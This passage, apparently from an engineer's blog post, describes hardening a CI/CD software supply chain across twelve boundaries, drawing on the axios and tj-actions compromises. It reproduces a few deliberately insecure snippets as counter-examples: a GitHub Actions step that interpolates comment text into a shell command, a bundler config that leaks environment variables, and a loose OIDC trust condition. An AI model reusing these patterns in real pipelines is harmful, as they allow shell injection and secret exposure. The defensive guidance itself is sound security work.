axios@1.14.1 was unpublished within three hours. With minimumReleaseAge: 4320, pnpm would have refused to install it for 72 hours after publish. By the time the install would have unblocked, the malicious version was already gone.

Stack-neutral: pnpm has this natively. Renovate's minimumReleaseAge config covers any ecosystem Renovate manages: npm, Maven, PyPI, Go, Cargo, NuGet, RubyGems, Helm, Docker, GH Actions, Terraform. For stacks without native or Renovate support, layer reputation signals: Socket (behavioural risk score), Phylum (heuristic quarantine), OSV-Scanner + EPSS scores for exploit-likelihood prioritisation, OpenSSF Scorecard for upstream maintenance health, npm audit signatures for registry signature verification.

Provenance. Where available, prefer packages published with provenance attestations. npm publish --provenance (since npm 9.5) records a signed Sigstore provenance entry binding the published tarball to the GitHub Actions workflow that built it. PyPI Trusted Publishers + PEP 740 attestations are the Python equivalent. Maven Central PGP signatures + sigstore-maven-plugin for Java. Provenance doesn't stop a credential-theft attack like axios (the malicious workflow would still produce a signed entry), but it gives forensics a starting point.

Boundary 3: Registry → Lockfile (Is the resolved artifact what we think it is?)

Threat: registry compromise, off-registry tarballs without integrity, mid-flight tampering.

Controls: lockfile committed; integrity hash (sha512:, sha256:, OCI digest) on every entry; CI install command refuses to mutate the lockfile. Easy thing to miss: a lockfile entry like tarball: https://cdn.somehost.com/foo.tgz without an integrity: field is functionally trust-the-CDN. Whoever serves that URL can serve different bytes tomorrow than they served today, and your install will accept them. Audit yours for entries where the hash field is empty or pointing to a URL the registry doesn't verify.

# tools/scripts/verify-supply-chain.sh runs in CI.
# Fails if the lockfile contains any off-registry tarball not on this allowlist.
EXPECTED_TARBALLS=(
  "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz"  # SheetJS withdrew xlsx from npm in 2023
)

This single grep-equivalent check would also have flagged the axios@1.14.1 situation early in retrospect: a brand-new transitive (plain-crypto-js@4.2.1) appeared in the lockfile diff. A mandatory PR-time review on lockfile additions catches what the eye doesn't.

The general invariant translates: pip's --require-hashes, Cargo's checksum field, Maven's --strict-checksums, NuGet package signing, Go's module sum database. Every modern package manager has the primitive. The discipline is auditing for entries where it isn't enforced.

Boundary 4: Install → Lifecycle scripts (What runs on install?)

Threat: malicious lifecycle hooks. The axios attack's payload ran here. plain-crypto-js@4.2.1's entire malicious behaviour was a postinstall: node setup.js. Without that hook, the package would have sat on disk doing nothing until something require()'d it, and axios doesn't import plain-crypto-js. The postinstall was the only thing that turned a passive disk write into RCE during install.

Controls:

Default-deny on install scripts, allowlist of who may run them:

   {
     "pnpm": {
       "onlyBuiltDependencies": [
         "esbuild",
         "@swc/core",
         "@datadog/native-iast-taint-tracking",
         "prisma"
       ]
     }
   }

plain-crypto-js would not have been on any team's allowlist. pnpm install --ignore-scripts (read-only CI workflows) and onlyBuiltDependencies (pnpm 10) each, independently, neutralise the postinstall vector.

Behavioural quarantine. Socket and Phylum analyse new transitives for suspicious patterns (network calls, file-system access, dynamic eval) before they reach your lockfile. npq wraps npm install to prompt before installing freshly published packages. None of these would catch a sufficiently subtle payload, but plain-crypto-js's node setup.js → C2 download is exactly the shape they flag.
Build-host sandboxing. Run installs inside an ephemeral container with no network egress except to the registry; or use Bubblewrap / Firejail / Chainguard's hardened images. Defence-in-depth for the case where the lifecycle gate fails open.

The limit: lifecycle gates block preinstall / install / postinstall. They do not prevent module-load-time top-level execution when an attacker-controlled package gets require()'d or import'd during vitest, tsc, eslint, or any other tool that imports your code graph. The minimumReleaseAge cooldown (Boundary 2) is the layer behind that.

Stack equivalents: pip's risky surface is setup.py install hooks (mitigate with --only-binary=:all:); Ruby's is gem install running extconf.rb; Cargo's is build.rs (sandbox via Bazel rules_rust or cargo-deny bans); .NET's modern PackageReference does not run scripts (legacy packages.config does); Maven's and Gradle's are build plugins (audit <build><plugins> and buildscript { dependencies }).

Phase 2. Build-side: what runs during your build

Boundary 5: Source → Image (Is our build environment trustworthy?)

Threat: base image tag rewrite, secrets baked into image layers.
Controls:

Pin every FROM by @sha256:<digest>. Tags are mutable; digests are content-addressed (the SHA changes if the bytes change, so a rewrite is detectable).

   FROM node:20.11.1-alpine3.19@sha256:735dd688da64d22ebd9... AS base
   USER node
   CMD ["node", "dist/main.js"]

Drop privileges with USER before CMD. For Node images: USER node. For nginx: switch to nginxinc/nginx-unprivileged (drop-in non-root replacement listening on 8080).
Never put secrets in ARG defaults: they persist in docker history. Use BuildKit --mount=type=secret for build-time secrets.
Hermetic builds for the highest tier. Bazel rules_oci, Nix dockerTools, Chainguard's apko + melange produce reproducible images where every byte is content-addressed back to source. Overkill for most teams; required for SLSA L3+.

Boundary 6: Image → Registry (Can downstream verify what we shipped?)

Threat: image tag rewrite at the registry; image swap; "did we actually ship this build?" forensics gap.

Controls: cosign keyless signing via Sigstore. Sigstore is a free signing service; Fulcio is its short-lived certificate authority; Rekor is its public transparency log; the SET (Signed Entry Timestamp) is Rekor's tamper-proof timestamp binding the signature to a moment when the cert was still valid. GitHub Actions OIDC issues a short-lived signing identity, Fulcio mints a certificate valid for ~10 minutes, and the signature is recorded in Rekor.

Treat Rekor as load-bearing, not optional. The Fulcio cert expires almost immediately; what makes a keyless signature verifiable hours or years later is the Rekor inclusion proof. A cosign verify that doesn't check the SET is meaningless after cert expiry.

Verify with workflow-path anchoring, not a loose org regex:

cosign verify <image>@<digest> \
  --certificate-identity-regexp "^https://github\.com/yourorg/yourrepo/\.github/workflows/release\.yml@refs/heads/main$" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  --certificate-github-workflow-repository "yourorg/yourrepo" \
  --certificate-github-workflow-ref "refs/heads/main"

An open ^https://github.com/yourorg/ regex matches any workflow under the org, including a malicious workflow added in a fork and run via pull_request_target. Anchor on the workflow path, the ref, AND test the regex with a known-different workflow before relying on it. Unanchored regexes (missing ^ or $) match more workflows than you intended.

Signing alone does not satisfy SLSA (Supply-chain Levels for Software Artifacts, a framework grading build provenance trustworthiness). The signature proves who built the image, not how. SLSA Build L3 requires provenance attestations in in-toto format (https://slsa.dev/provenance/v1 predicate), produced by cosign attest --predicate from a hardened, isolated builder such as slsa-github-generator. Verify with cosign verify-attestation. The signature is the foundation. The attestation chain is the rest of the building.

A signature you don't verify at deploy time is theatre. Wire cosign verify into a Kubernetes admission controller (Kyverno verifyImages, Connaisseur, or Sigstore policy-controller) so the cluster refuses to schedule unsigned or wrong-identity images. GitHub's native gh attestation verify (GA 2024) is the simplest verification entry-point if you're not on Kubernetes.

Stack-agnostic: cosign works on any container image registry (ECR, GHCR, ACR, GAR, Harbor, Artifactory, Quay) and on generic blobs via cosign sign-blob. Sigstore Fulcio currently trusts OIDC issuers from GitHub, GitLab, Buildkite, CircleCI, Google, Microsoft. Same cosign sign --identity-token flow, different iss claim. PEP 740 attestations + python -m sigstore cover Python wheels; sigstore-maven-plugin covers Java JARs.

Boundary 7: Tag → Commit (What does this `uses:` / include / plugin actually point to?)

This is the boundary tj-actions exploited. A line like uses: tj-actions/changed-files@v45 resolves at build time to whatever commit the v45 tag currently references. Tags are mutable. Commit SHAs are not.

Controls: pin every external uses: to a 40-character commit SHA with a tag comment.

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
- uses: pulumi/actions@8582a9e8cc630786854029b4e09281acd6794b58 # v6

Enforce in CI with pinact run --check --verify. It fails the PR if anything is unpinned, and flags drift between the pinned SHA and the SHA the upstream tag currently resolves to. It catches inadvertent drift. It does not by itself defeat a tag-rewrite attack. pinact will surface the mismatch but cannot tell you which side is hostile. Pair it with a higher-trust signal: Sigstore attestation verification, GitHub's gh attestation verify for Action artifacts (GA 2024), StepSecurity Harden-Runner for egress-policy + tampering detection on the runner, or human review of any flagged drift.

When we started, none of our 110 uses: lines were SHA-pinned. That included pulumi/actions (cloud-deploy authority), lasith-kg/dispatch-workflow (single maintainer), aws-actions/configure-aws-credentials (×11), and docker/build-push-action (×3, ECR push). They all are now, with a CI gate so they stay that way.

Translate to your CI: GitLab include: should pin ref: to a SHA, not main. Buildkite plugins should pin plugin@<sha>, not @v1. CircleCI orbs are best inlined or vendored. Jenkins shared libraries should pin @Library('foo@<sha>'). Bazel modules pin via MODULE.bazel.lock. The control: no mutable references to third-party code anywhere in CI config.

Boundary 8: Workflow → Secrets (What can a single compromised step exfiltrate?)

Threat: any step in a workflow inherits the workflow's permissions and any environment-scoped secrets. A compromised Action running with permissions: write-all receives a GITHUB_TOKEN with write scopes across that repository's API surface (contents, issues, pull requests, packages, deployments) for the duration of that workflow run.

Controls: default-deny at workflow level, grant per-job:

permissions: {}

jobs:
  deploy:
    permissions:
      contents: read       # for checkout
      id-token: write      # for AWS OIDC

zizmor (free workflow-security linter) audits this on every PR. When we ran it the first time, 8 of our 16 workflows were running permissions: write-all. Today none of them do.

Reusable workflows (workflow_call) inherit the caller's permissions: unless explicitly overridden. secrets: inherit on the caller hands every repository secret to the callee. Pass secrets explicitly by name and re-declare permissions: in every reusable workflow.

pull_request_target is the single highest-severity GitHub Actions footgun. Unlike pull_request, it runs in the context of the base repository with the base repo's GITHUB_TOKEN and access to repository secrets. If you actions/checkout the PR head, you've executed an attacker's code with privileged credentials. Default rule: never check out PR head code in a pull_request_target workflow; never run third-party scripts inside one.

Replace long-lived AWS keys with GitHub OIDC. The role's trust policy restricts assumption to your repository's workflows; CI never holds a credential that survives the run. The footgun: a sub condition like repo:org/*:* hands AWS-role assumption to any workflow run from any branch, including a fork's PR. Anchor sub to a specific repo + ref:

"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
  },
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:yourorg/yourrepo:ref:refs/heads/main"
  }
}

Note that anchoring to refs/heads/main still lets any push to main assume the role: fine for a build-and-test role, too permissive for a production-deploy role. For deploy roles, anchor to a tag pattern (ref:refs/tags/v*) or to a GitHub Environment with required reviewers. For higher precision than sub, use job_workflow_ref. It constrains to a specific leaf workflow file and is resilient to a malicious reusable-workflow caller inside the same repo. AWS, GCP Workload Identity Federation, and Azure federated credentials all expose it.

CI translations: GitLab CI uses id_tokens: per-job and CI/CD job-token scope allowlists; Buildkite uses agent-queue ACLs and Vault Agent for secret distribution; CircleCI uses restricted contexts; Jenkins uses withCredentials per-step plus folder-level credential isolation. Different YAML, same default-deny pattern.

Boundary 9: Untrusted input → Shell (CWE-78 in CI)

Threat: GitHub-context fields like github.event.comment.body, pull_request.title, head_ref are attacker-controlled. When interpolated directly into a run: block, they become shell injection. The same class exists everywhere: GitLab $CI_* from triggered events, Jenkins parameterised builds, Buildkite meta-data, Azure variables.

Unsafe:

run: echo "Reviewing: ${{ github.event.comment.body }}"

Safe:

env:
  BODY: ${{ github.event.comment.body }}
run: echo "Reviewing: $BODY"

This is the boundary the lede sat on. The fix was a four-line diff. The control that catches the next one (actionlint for syntax + zizmor for security patterns, both as required PR checks) was one commit. Cross-CI: semgrep --config=p/ci covers most major vendors with one ruleset.

Phase 3. Runtime-side: what ships and what leaks

Boundary 10: Build host env → Client bundle (Whose secrets ship to the browser?)

Threat: a define block in your bundler (Vite, Webpack, esbuild, Rollup) that spreads process.env into the client bundle. Frontend bundlers replace process.env.X with the value at build time, so whatever was in the build host's env becomes a string literal in the JS shipped to every browser.

We had this:

// vite.config.ts
define: {
  'process.env': process.env,   // TODO: fix this later
},

Safe:

define: {
  'process.env.PUBLIC_API_URL': JSON.stringify(process.env.PUBLIC_API_URL),
  // explicit allowlist; nothing implicit
},

Same principle for NEXT_PUBLIC_*, VITE_*, REACT_APP_*, EXPO_PUBLIC_* env vars: assume browser-readable, never put secrets behind these prefixes. Same failure mode in mobile too: Android BuildConfig.API_KEY = "$apiKey" from a checked-in gradle.properties; iOS API keys in Info.plist or xcconfig. Assume any string in the artefact is extractable.

Boundary 11: Runtime → Logs (Are your sinks an exfiltration channel?)

Threat: logging frameworks default to verbose. CloudWatch, Datadog, Sentry retain log lines for weeks. A console.log(req) in a request handler dumps the Authorization header to a 30-day-retention log, accessible to any engineer with read access.

Controls: redaction at the framework level (not per call-site):

import pino from 'pino';

export const logger = pino({
  redact: {
    paths: [
      'req.headers.authorization',
      'req.headers.cookie',
      'config.headers.authorization',  // catches Axios errors
      '*.password', '*.token', '*.secret',
    ],
    censor: '[REDACTED]',
  },
});

The one that bit us: AxiosError objects carry the original request configuration, including Authorization headers. logger.error(msg, axiosErr) without redaction quietly dumps every bearer token your service has ever forwarded.

Every mature logger has the primitive: structlog processors (Python), logback's MaskingPatternLayout (Java), zap / zerolog field hooks (Go), tracing field filters (Rust), Rails.config.filter_parameters (Ruby), Serilog.Enrichers.Sensitive (.NET). Last line of defence regardless of stack: an OpenTelemetry Collector with an attributes/delete processor that scrubs in transit before logs reach Datadog or CloudWatch.

The limit. pino redact is a denylist; it only scrubs the paths you list. Custom auth headers (x-api-key, x-vault-token), GraphQL variables.password, request.body.token, provider-specific shapes are all easy to miss. Audit your redact paths against the actual headers and body shapes your services see, and re-audit when you add an integration.

Boundary 12: Dependency → Patch (Can you fix a CVE without a registry round-trip?)

Threat: vulnerable transitive dependency, no maintainer response, can't wait.

Controls: force-pin the transitive with documented rationale and an expiry date:

{
  "pnpm": {
    "overrides": {
      "lodash-es": "4.17.23",
      "tar": "7.5.11"
    }
  }
}

Every package manager has the primitive: npm overrides, yarn resolutions, pip constraints.txt, Poetry direct-promotion, uv [tool.uv] override-dependencies, Maven <dependencyManagement>, Gradle resolutionStrategy.force, Cargo [patch.crates-io], Go replace, Bundler direct gem pin, NuGet central package management.

Override-rot is real: outdated overrides shadow newer transitive versions that already have the fix. Each override should reference its CVE, the introducing PR, and a re-evaluation date. The audit-allowlist.json schema we use:

{
  "ghsa": "GHSA-xxxx-yyyy-zzzz",
  "package": "the affected package",
  "severity": "high | critical",
  "rationale": "why this risk is accepted (must explain reachability or absence of fix)",
  "verified_by": "engineer email or handle",
  "added": "YYYY-MM-DD",
  "expires": "YYYY-MM-DD",  // max 90 days
  "follow_up": "what removes this entry"
}

CI fails when expires passes; the gate forces a re-decision rather than letting drift accumulate.

When prevention fails: the response side

Every boundary above is preventive. Some will fail. The question is what you do in the next four hours.

Forensic record. Retain CI build logs for at least 90 days, forwarded to an immutable sink (S3 with object lock, or a logging platform with retention). Without this, "did the malicious axios version run for us during the window?" is unanswerable. GitHub-hosted runners are ephemeral; once a job finishes, the host is gone. Pre-configure log shipping and an artifact upload of suspicious-run state.

Provenance lookup. rekor-cli search --artifact <digest> answers "did our pipeline sign this digest?" gh attestation verify answers it for GitHub-attested artifacts. OSV-Scanner retroactively queries your lockfile against advisory windows ("did we have axios 1.14.x in a build between March 30 12:00 UTC and 15:00 UTC?"). GUAC (Graph for Understanding Artifact Composition) builds a queryable provenance graph across artifacts. Trivy + Grype drive SBOM-based scanning post-incident; Dependency-Track is the consumption side. An SBOM you don't continuously diff against vulnerability feeds is a compliance artefact, not a control.

OIDC token revocation playbook. Know how to invalidate cached OIDC subject claims. Know which AWS role trust policies to tighten. Know how to query Sigstore Rekor for "did we sign this digest during the suspect window?" All process documentation, not tooling.

Secret rotation in dependency order. If CI is suspect, rotation order matters. Start at the leaves (npm publish tokens, third-party SaaS keys), then deploy roles, then DB credentials. Rotating root credentials first invalidates the OIDC tokens you'd need to rotate the leaves. Document who calls whom; security incidents are a bad time to discover ambiguity.

Image quarantine. ECR lifecycle policy plus an admission-controller tag-block on the suspected window's digests. Until your cosign verify says the digest you're running is the digest you signed, treat anything from that window as suspect.

Prevention buys time for detection. Detection buys time for response. Get all three in writing before you need them.

What one week of focused work actually moved

Control	Before	After
Third-party Action SHA pinning	0% of 110 `uses:` lines	100% with `pinact` CI gate
Workflow `permissions: write-all`	8 of 16 workflows	0
Lockfile integrity coverage	99.97% (1 off-registry tarball, no `integrity:`)	99.97% + CI allowlist enforcement with rationale per off-registry entry
`minimumReleaseAge`	12 hours	3 days
Production Dockerfile USER directive	0 of 7 (all root)	7 of 7 (non-root)
Production base image digest pinning	0 of 7	7 of 7
Image signing	none	cosign keyless on every ECR push, workflow-path-anchored verify identity
PR-time secret scanning	pre-commit only (skippable)	pre-commit + CI (unskippable)
PR-time SAST	none	CodeQL `security-extended`
Workflow security audit	none	`actionlint` + `zizmor`
Dependency CVE gate	none	`pnpm audit --prod --audit-level high` with documented allowlist
SBOM generation	none	CycloneDX + SPDX on every push to main

The week wasn't a checklist. It was a sequence of specific findings, in the order I hit them:

Day 1: Boundary 7. Audit of .github/workflows/. Every external uses: was tag-pinned. Pinned all 110 to 40-character SHAs with tag comments. pinact run --check --verify added as required status check.
Day 1: Boundary 8. 8 of 16 workflows ran with permissions: write-all. Tightened to workflow-level permissions: {} plus per-job grants. zizmor added as the gate. First staging deploy broke because permissions: {} revealed an undeclared packages: read that a publish job had been silently inheriting through the old write-all. Caught in PR; one-line add to per-job permissions.
Day 2: Boundary 9. The opencode-review.yml:108 CWE-78 (the lede). Four-line fix.
Day 2: Boundary 10. apps/front/remote-homepage/vite.config.ts:30 had 'process.env': process.env, with a TODO comment. Every CI environment variable visible to the build host was being baked into the client bundle. Replaced with an explicit allowlist.
Day 3: Boundary 8. build-and-publish-service.yml lines 128 and 469: both Wiz container scan steps had continue-on-error: true || true. Doubly non-blocking. Two engineers had deliberately typed those bypasses; this wasn't config drift. Removed both.
Day 3: Boundary 3. Lockfile audit found one off-registry tarball: https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz, in two lambda package.json files. Allowlisted with rationale (SheetJS withdrew xlsx from npm in 2023).
Day 4: Boundary 12. pnpm.overrides audit; the lodash story below.
Day 4: Boundary 2. minimumReleaseAge calibration: started at 720 minutes (12 hours), tried 10080 (7 days), got blocked by a postcss@8.5.12 patch published four days earlier, settled at 4320 (3 days).
Day 4: Boundary 5. Production Dockerfile sweep. 7 of 7 images ran as root. Added USER node; switched nginx-fronted images to nginxinc/nginx-unprivileged.
Day 5: Boundary 6. Cosign keyless signing on every ECR push. Branch protection updated to require all six new gates as status checks.

The DX cost, honestly. PR-time latency went from p50 4m / p95 9m to p50 6m / p95 14m. CodeQL security-extended is the long pole at ~7m. False-positive rate after the first week of tuning: zizmor ~5%, gitleaks ~2% with the project-tuned config. Two engineers asked for a --no-verify escape hatch on pinact early on; we declined. One pushed back hard enough that I owed him a 1:1 walking through the tj-actions chain. The friction is real and you should plan for the conversation. Fast-path bypass: a security-bypass label requires CODEOWNERS approval, expires on merge, audit-logged.

Five lessons that don't fit in a framework

1. The "patched version" you find in an advisory is not always the version you can ship.

Day 4. The advisory for GHSA-r5fr-rjxr-66jc (HIGH, code injection via _.template) said "fixed in 4.18.0." Our pnpm.overrides had lodash-es: 4.18.0 and lodash: 4.18.1, both flagged green by the advisory.

Then I checked the npm registry page. 4.18.0 was marked as a deprecated "Bad release." We were pinned to a withdrawn version, which is its own kind of supply-chain debt. The current stable was 4.17.23. The patch wasn't in it.

I kept the terminal open and ran:

grep -rE '_\.template\(' apps/ libs/

Nothing. Across multiple projects, no production source called _.template. The vulnerable code path was unreachable.

That grep is a hand-rolled approximation of reachability analysis, the formal name for "is the vulnerable function actually called from your code?" Tools that automate it: Endor Labs, Snyk Reachability, Semgrep Supply Chain, CodeQL with taint-tracking queries. Eleven seconds with grep is the cheap version of the same idea. The expensive version costs money but covers transitive call paths grep can't see.

The decision crystallised: allowlist with documented rationale, three-month expiry, named follow-up to migrate off lodash entirely.

Three months from now the entry expires. CI fails again. Someone re-runs the grep and decides: still unreachable, renew? Or has someone added _.template to a new feature, in which case the override is no longer safe. Either way, the decision happens. That's the difference between an allowlist with an expiry and an eslint-disable-next-line that lives forever.

2. Aggressive controls block legitimate fixes. Calibrate, don't posture.

Started at minimumReleaseAge: 10080 (7 days, pnpm's recommended baseline). Within the hour it blocked postcss@8.5.12, a CVE patch published four days earlier. Dropped to 3 days.

The "right" number depends on your workload. A healthcare-staffing platform tolerates 72 hours of CVE-patch latency more easily than fintech tolerates 12. Write down why you picked the number. Three days catches the noisy fast attacks (axios, ua-parser-js, @solana/web3.js were all yanked in <5 hours). It does not catch the patient ones (xz-utils ran 2 years; Shai-Hulud's worm re-publishes from already-trusted maintainer accounts can outlast any cooldown). minimumReleaseAge is a layer, not the wall.

3. Detection without enforcement is not security.

The week started with the Slack message above. The most striking finding: every right primitive was already there: Wiz, SonarCloud, Renovate, gitleaks, custom rules. None of them were blocking merges. Wiz container scans were running with continue-on-error: true || true. SonarCloud ran post-merge. Pre-commit gitleaks could be skipped with --no-verify. Renovate filed PRs nobody was required to merge.

Moving those gates into PR-time required-status-checks (same tools, same configurations, just required: true in branch protection) was, in my judgment, the largest delta in actual risk reduction over the week. It's a judgment, not a measurement; we don't have a counterfactual. Take it as senior intuition.

4. The blast radius of a CI compromise is usually larger than any application bug.

An app bug leaks data. A CI compromise leaks everything that has ever run through CI: AWS credentials, deploy keys, npm tokens, signing keys, source code, SBOMs, any customer-data backup that happened to touch a build step. Treat CI/CD like production, because it has the same blast radius.

5. These controls assume a clean threat model. Both halves of that assumption fail.

Most of the controls above assume the attacker is outside your org and your developers' laptops are clean. Both fail in roughly half the supply-chain incidents I've seen written up. xz-utils is the canonical maintainer-side case: a multi-year insider with valid signed commits. Every Phase 1 control passes. A compromised developer endpoint with a valid signed-commit identity bypasses CODEOWNERS, branch protection, and most of Phase 1. Endpoint posture and maintainer-identity verification are their own conversations. When you decide what to ship next, factor them in.

Process and culture

Tools alone don't get you there. The process around them ends up doing more of the work than I'd expected. Three patterns that bound everything else:

CODEOWNERS on every supply-chain surface. Required reviewer on every workflow file, Dockerfile, dependency manifest, override file, and audit-allowlist.json itself. Humans catch what static analysis can't see (intent, weird ownership, deprecated-but-popular packages); machines catch the rest.
Allowlists with expiry, never silent ignores. Every accepted risk has rationale, verifier, and a date when it stops being accepted. CI fails at expiry and forces a re-decision rather than letting drift accumulate.
Default-deny as engineering culture. permissions: {} at workflow level. Empty Dockerfile USER rejected. New dependency needs CODEOWNERS approval. Off-registry tarball needs written rationale. The friction surfaces decisions that would otherwise stay implicit.

When zizmor flags a workflow, gitleaks catches a token, or an audit advisory blocks a merge, the response is "what process let this through?" not "who put it there?" The first question gets you better controls. The second one gets you quieter engineers.

What you can ship alone vs. what needs platform

Half the controls above can be adopted by a single team owning a single repo. The other half need platform / security-org buy-in. The trap is adopting the team-side half without the platform-side half. You eat the friction without the protection.

A team can ship alone: SHA-pinning their own workflows. Lockfile pins. minimumReleaseAge in their own pnpm/Renovate config. Logger redaction in their own service. Default-deny permissions: in their own workflows. Dockerfile non-root.

Needs platform / security org: CODEOWNERS gating across the org. OIDC trust-policy authoring. Branch protection on main. Admission controllers verifying cosign signatures at deploy time. Log retention infrastructure. Secret rotation runbooks. Cross-repo CI runner isolation.

If you're a single team and the platform-side controls don't exist yet, the highest-leverage moves are the three that would have stopped both attacks in this article cold: SHA-pin every external uses:, scope every permissions: block to least privilege, set minimumReleaseAge to 3+ days. The first two are local edits. The third is one config line. Together they're roughly two days of work.

Translation table: the boundaries in your stack

This article uses pnpm + GitHub Actions because that's where I shipped the work. The boundaries don't care about the YAML.

Boundary	pnpm/JS	Python	Java/Maven	Go	Rust	Ruby	.NET
2. Pin to immutable identifier	`package.json` exact + `pnpm install --frozen-lockfile`	`pip-compile --generate-hashes` + `--require-hashes`; or `poetry install --no-update`; or `uv sync --frozen --locked`	`mvn-dependency-lock-plugin` + `dependencies.lock`	`go.sum` + `GOFLAGS=-mod=readonly`	`Cargo.lock` + `cargo --frozen --locked`	`Gemfile.lock` + `bundle config set frozen true`	`packages.lock.json` + `dotnet restore --locked-mode`
2. Cooldown on fresh publishes	`minimumReleaseAge` (pnpm-native)	Renovate `minimumReleaseAge` (covers PyPI); commercial: Socket, Phylum	Renovate (covers Maven Central)	Renovate (covers Go modules) + `govulncheck`	Renovate; `cargo-deny [advisories] yanked = "deny"`	Renovate; `bundler-audit`	Renovate
3. Lockfile integrity	`integrity: sha512:...` per entry	hash via `--require-hashes`; Poetry `content-hash`	Gradle `verification-metadata.xml`; Maven `--strict-checksums`	`go.sum` + `sum.golang.org`	Cargo lockfile checksums (built-in)	`bundle config set verify_files true`	`dotnet trust` for signed packages
4. Lifecycle script gate	`onlyBuiltDependencies` + `--ignore-scripts`	`pip install --only-binary=:all:`	audit `<build><plugins>` + checksum-pin them	`cgo` / `//go:generate` controlled via Bazel/Nix sandbox	`build.rs` sandboxed via Bazel `rules_rust` or `cargo-deny` bans	`bundle config force_ruby_platform true` to skip native; or sandbox	PackageReference (modern) doesn't run scripts; audit any `packages.config` projects
5. Base image digest pin	`FROM image:tag@sha256:...` (any Dockerfile, any language)	same	same	same	same	same	same
6. Image signing	cosign + Sigstore (any registry, any image)	same; PEP 740 attestations + `sigstore` for wheels	same; `sigstore-maven-plugin` for JARs	same; `slsa-github-generator/builder-go` for SLSA	`cargo-dist` + Sigstore	same	`dotnet nuget sign`; NuGet signature verification
7. CI mutable-ref pin	`uses: org/action@<sha>`; `pinact` enforce	(Python doesn't have an "Actions" concept; this is CI-platform, not language)	same	same	same	same	same
8. Default-deny permissions	GHA `permissions: {}`	(CI-platform; see CI table below)	same	same	same	same	same
11. Logger redaction	pino `redact:`	`structlog` processors + `logging.Filter`	Logback `MaskingPatternLayout`	`zap` custom encoder; `zerolog` `.Strs("redacted", ...)`	`tracing` `Layer`	`Rails.config.filter_parameters`	Serilog `Enrichers.Sensitive`
12. Force-pin transitive	`pnpm.overrides`	pip `constraints.txt`; uv `[tool.uv] override-dependencies`; Poetry → promote to direct	Maven `<dependencyManagement>`; Gradle `dependencySubstitution`	`replace` directive in `go.mod`	`[patch.crates-io]` in `Cargo.toml`	Direct `gem 'foo', '1.2.3'` in `Gemfile`	`Directory.Packages.props` central management

CI translations for Boundaries 5–9:

	GitHub Actions	GitLab CI	Buildkite	CircleCI	Jenkins	AWS CodeBuild
Mutable-ref pin (B7)	`uses: org/action@<sha>` + `pinact`	`include: ref: <sha>` + Renovate `gitlabci-include`	Plugin `@<sha>` + Renovate `buildkite`	Inline orbs; or pin `orbs: foo/bar@<exact-version>`	`@Library('foo@<sha>')`	Pre-mirrored installers + checksum verify in `pre_build`
Default-deny perms (B8)	`permissions: {}`	`id_tokens:` per-job; protected variables	Agent-queue ACLs; secrets via Vault Agent	Restricted contexts	`withCredentials` per-step; folder-level isolation	Per-project IAM role; `SECRETS_MANAGER` vars
OIDC trust (B8)	`sub`/`job_workflow_ref` anchored	`CI_JOB_JWT_V2` audience-bound	OIDC plugin since 2023	`circleci/oidc-orb`	Workload identity / `manage-credentials-binding-plugin`	`aws sts assume-role-with-web-identity`
Shell injection (B9)	`actionlint` + `zizmor`	`glab ci lint`; `semgrep p/ci`	`buildkite-pipeline-lint`	`circleci config validate`	Pipeline Linter; `pipeline-utility-steps`	`cfn-lint` + `checkov`
Image signing identity (B6)	OIDC issuer `token.actions.githubusercontent.com`	`CI_JOB_JWT_V2` issuer	Buildkite OIDC issuer	`oidc.circleci.com`	OIDC via plugin or workload identity	CodeBuild OIDC tokens

Cross-cutting tools, alphabetical:

Audit (CVE in deps): pnpm/npm audit → pip-audit (Python), mvn dependency-check:check or Gradle dependencyCheckAnalyze (Java), govulncheck (Go, symbol-aware reachability), cargo audit + cargo-deny (Rust), bundler-audit (Ruby), dotnet list package --vulnerable --include-transitive (.NET). Cross-stack: OSV-Scanner (Google; OSV format covers all of the above), Snyk Open Source, Wiz, Socket.
Cosign: ecosystem-agnostic. Works on any container image and on generic blobs.
gitleaks: stack-agnostic. Alternatives: trufflehog, detect-secrets, GitHub native push protection. Run several; they catch different things.
CodeQL: native multi-language (JS/TS, Python, Java, Kotlin, Go, Ruby, C#, C/C++, Swift). Alternatives: Semgrep Pro (broadest), Snyk Code, SonarCloud, Veracode.
minimumReleaseAge: native in pnpm. Universal via Renovate (minimumReleaseAge config), covering npm, Maven, PyPI, Go, Cargo, NuGet, RubyGems, Helm, Docker, GH Actions, Terraform.
SBOM: syft is stack-agnostic. Per-stack: cyclonedx-bom (Python), cyclonedx-maven-plugin (Java), cyclonedx-gomod (Go), cargo cyclonedx (Rust), bundler-cyclonedx (Ruby), dotnet CycloneDX (.NET). Consume with Dependency-Track; scan with Trivy or Grype.

The boundary survives. The YAML changes.

Closing

Last week a colleague's PR went red on pinact --check --verify because they'd added actions/checkout@v6 instead of the SHA. Thirty seconds of annoyance. Without that gate, that line would have been one tag-rewrite away from tj-actions. Repeat across 110 uses: lines, 16 workflows, 7 production Dockerfiles, and one _.template CVE that turned out not to matter. That's the week.

The supply-chain attacker's leverage is asymmetric: one compromised maintainer, one rewritten tag, one unscanned dependency cascades into thousands of victims. The defender's leverage can be asymmetric too, but only if your controls live at the right boundary. SAST won't catch a malicious GitHub Action. A pen-test won't catch a tag rewrite. A bug bounty isn't going to surface an _.template CVE buried four levels deep in a transitive dep nobody knew was there.

The four-line diff at the top of this article wasn't found by SAST. It wasn't found by pen-test. It was found by a grep for ${{ github.event across every workflow in the monorepo, on a Tuesday, by someone who knew that string was the boundary between "code we wrote" and "code an attacker wrote for us."

That grep took eleven seconds. The fix took four lines. The control that catches the next one was one commit.

If you only take three things from this: pin every external CI reference (Action / include / plugin / orb / shared-library) to a content-addressed identifier; scope every CI permission block to least privilege; set a minimumReleaseAge of at least 3 days on your package manager. Put the first two as required status checks on main. Together they would have stopped axios@1.14.1 cold for any pipeline running them, and tj-actions cold for every repo that ran it. The other nine boundaries are the layers behind that.

For a regulated workload (healthcare staffing means downtime maps to nurses missing shifts at hospitals, so we weight availability higher than most SaaS), the calibration looks like this: we tolerated +5 minutes of PR latency, but rejected anything that could block a hotfix at 2am. Your domain's calibration will differ. Write down why.

